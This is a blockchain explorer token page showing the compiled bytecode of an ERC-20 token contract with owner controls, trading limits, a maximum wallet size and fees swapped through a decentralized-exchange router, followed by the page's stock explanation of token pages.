0e51b81526004016108d990612297565b6001600160a01b03919091166000908152601b60205260409020805460ff1916911515919091179055565b6005546001600160a01b03163314610fef5760405162461bcd60e51b81526004016108d990612297565b6001600160a01b0381166110545760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016108d9565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b60065460075434916110cf916001600160a01b03918216911683611830565b50565b6000806110df838561231b565b9050838110156111315760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016108d9565b9392505050565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b806000036111b3576111ae838360006119dc565b505050565b6005546001600160a01b038481169116148015906111df57506005546001600160a01b03838116911614155b80156111f45750600c5462010000900460ff16155b1561148357600c5460ff16611287576001600160a01b03831660009081526019602052604090205460ff168061124257506001600160a01b03821660009081526019602052604090205460ff165b6112875760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b60448201526064016108d9565b6001600160a01b0383166000908152601c602052604090205460ff1680156112c857506001600160a01b0382166000908152601a602052604090205460ff16155b156113425760085481111561133d5760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b60648201526084016108d9565b6113f9565b6001600160a01b0382166000908152601c602052604090205460ff16801561138357506001600160a01b0383166000908152601a602052604090205460ff16155b156113f9576009548111156113f95760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b60648201526084016108d9565b6001600160a01b0382166000908152601b602052604090205460ff1661148357600a546001600160a01b03831660009081526020819052604090205461143f908361231b565b11156114835760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b60448201526064016108d9565b30600090815260208190526040902054600b54811080159081906114ae5750600c54610100900460ff165b80156114c35750600c5462010000900460ff16155b80156114e757506001600160a01b0384166000908152601c602052604090205460ff165b801561150c57506001600160a01b03851660009081526019602052604090205460ff16155b801561153157506001600160a01b03841660009081526019602052604090205460ff16155b1561155c57600c805462ff000019166201000017905561154f611a99565b600c805462ff0000191690555b600c546001600160a01b03861660009081526019602052604090205460ff620100009092048216159116806115a957506001600160a01b03851660009081526019602052604090205460ff165b156115b2575060005b80156117eb57600060185443101561163d576115da60646115d4876063611c8d565b90611d0f565b905060636115e982605e6122e2565b6115f391906122f9565b60156000828254611604919061231b565b90915550606390506116178260056122e2565b61162191906122f9565b60176000828254611632919061231b565b909155506117cc9050565b6001600160a01b0386166000908152601c602052604090205460ff168015611666575060115415155b156116f457601154611680906064906115d4908890611c8d565b6011546014549192509061169490836122e2565b61169e91906122f9565b601660008282546116af919061231b565b90915550506011546012546116c490836122e2565b6116ce91906122f9565b601560008282546116df919061231b565b909155505060115460135461161790836122e2565b6001600160a01b0387166000908152601c602052604090205460ff16801561171d5750600d5415155b156117cc57600d54611737906064906115d4908890611c8d565b600d546010549192509061174b90836122e2565b61175591906122f9565b60166000828254611766919061231b565b9091555050600d54600e5461177b90836122e2565b61178591906122f9565b60156000828254611796919061231b565b9091555050600d54600f546117ab90836122e2565b6117b591906122f9565b601760008282546117c6919061231b565b90915550505b80156117dd576117dd8730836119dc565b6117e7818661232e565b9450505b610d238686866119dc565b6000818484111561181a5760405162461bcd60e51b81526004016108d99190612059565b506000611827848661232e565b95945050505050565b6000600b81905560408051600280825260608201835290916020830190803683370190505090507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156118b5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118d99190612341565b816000815181106118ec576118ec61235e565b60200260200101906001600160a01b031690816001600160a01b03168152505030816001815181106119205761192061235e565b6001600160a01b039092166020928302919091019091015261194f8484610a0b85670de0b6b3a76400006122e2565b60405163b6f9de9560e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063b6f9de959084906119a4906000908690899042906004016123b8565b6000604051808303818588803b1580156119bd57600080fd5b505af11580156119d1573d6000803e3d6000fd5b505050505050505050565b611a198160405180606001604052806026815260200161247d602691396001600160a01b03861660009081526020819052604090205491906117f6565b6001600160a01b038085166000908152602081905260408082209390935590841681522054611a4890826110d2565b6001600160a01b038381166000818152602081815260409182902094909455518481529092918616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910161118d565b3060009081526020819052604081205490506000601754601554601654611ac0919061231b565b611aca919061231b565b905081600003611ad8575050565b600b54611ae69060286122e2565b821115611afe57600b54611afb9060286122e2565b91505b600060028260165485611b1191906122e2565b611b1b91906122f9565b611b2591906122f9565b90506000611b338483611d51565b905047611b3f82611d93565b6000611b4b4783611d51565b90506000611b68866115d460155485611c8d90919063ffffffff16565b90506000611b85876115d460175486611c8d90919063ffffffff16565b90506000611b93828461231b565b611b9d908561232e565b60006016819055601581905560175590508615801590611bbd5750600081115b15611c0657611bcc8782611f4b565b60408051878152602081018390527f28fc98272ce761178794ad6768050fea1648e07f1e2ffe15afd3a290f8381486910160405180910390a15b6006546001600160a01b03166108fc611c1f854761232e565b6040518115909202916000818181858888f19350505050158015611c47573d6000803e3d6000fd5b506007546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015611c81573d6000803e3d6000fd5b50505050505050505050565b600082600003611c9f575060006108a9565b6000611cab83856122e2565b905082611cb885836122f9565b146111315760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016108d9565b600061113183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061202b565b600061113183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506117f6565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611dc857611dc861235e565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611e46573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e6a9190612341565b81600181518110611e7d57611e7d61235e565b60200260200101906001600160a01b031690816001600160a01b031681525050611ec8307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611138565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac94790611f1d9085906000908690309042906004016123ed565b600060405180830381600087803b158015611f3757600080fd5b505af1158015610d23573d6000803e3d6000fd5b611f76307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611138565b60405163f305d71960e01b8152306004820181905260248201849052600060448301819052606483015260848201524260a48201527f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03169063f305d71990839060c40160606040518083038185885af1158015611fff573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906120249190612429565b5050505050565b6000818361204c5760405162461bcd60e51b81526004016108d99190612059565b50600061182784866122f9565b600060208083528351808285015260005b818110156120865785810183015185820160400152820161206a565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146110cf57600080fd5b600080604083850312156120cf57600080fd5b82356120da816120a7565b946020939093013593505050565b6000602082840312156120fa57600080fd5b8135611131816120a7565b6000806040838503121561211857600080fd5b50508035926020909101359150565b80358015158114610a8657600080fd5b60006020828403121561214957600080fd5b61113182612127565b60008060006060848603121561216757600080fd5b8335612172816120a7565b92506020840135612182816120a7565b929592945050506040919091013590565b6000602082840312156121a557600080fd5b5035919050565b600080604083850312156121bf57600080fd5b82356121ca816120a7565b91506121d860208401612127565b90509250929050565b60008060008060008060c087890312156121fa57600080fd5b505084359660208601359650604086013595606081013595506080810135945060a0013592509050565b6000806040838503121561223757600080fd5b8235612242816120a7565b91506020830135612252816120a7565b809150509250929050565b600181811c9082168061227157607f821691505b60208210810361229157634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b80820281158282048414176108a9576108a96122cc565b60008261231657634e487b7160e01b600052601260045260246000fd5b500490565b808201808211156108a9576108a96122cc565b818103818111156108a9576108a96122cc565b60006020828403121561235357600080fd5b8151611131816120a7565b634e487b7160e01b600052603260045260246000fd5b600081518084526020808501945080840160005b838110156123ad5781516001600160a01b031687529582019590820190600101612388565b509495945050505050565b8481526080602082015260006123d16080830186612374565b6001600160a01b03949094166040830152506060015292915050565b85815284602082015260a06040820152600061240c60a0830186612374565b6001600160a01b0394909416606083015250608001529392505050565b60008060006060848603121561243e57600080fd5b835192506020840151915060408401519050925092509256fe45524332303a206465637265617365642063616e6e6f742062652062656c6f77207a65726f45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202bdd49ee6af7dc825f952360ce010ab64c010b0ff72aa64505e6cdc0ec83b74664736f6c63430008110033
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.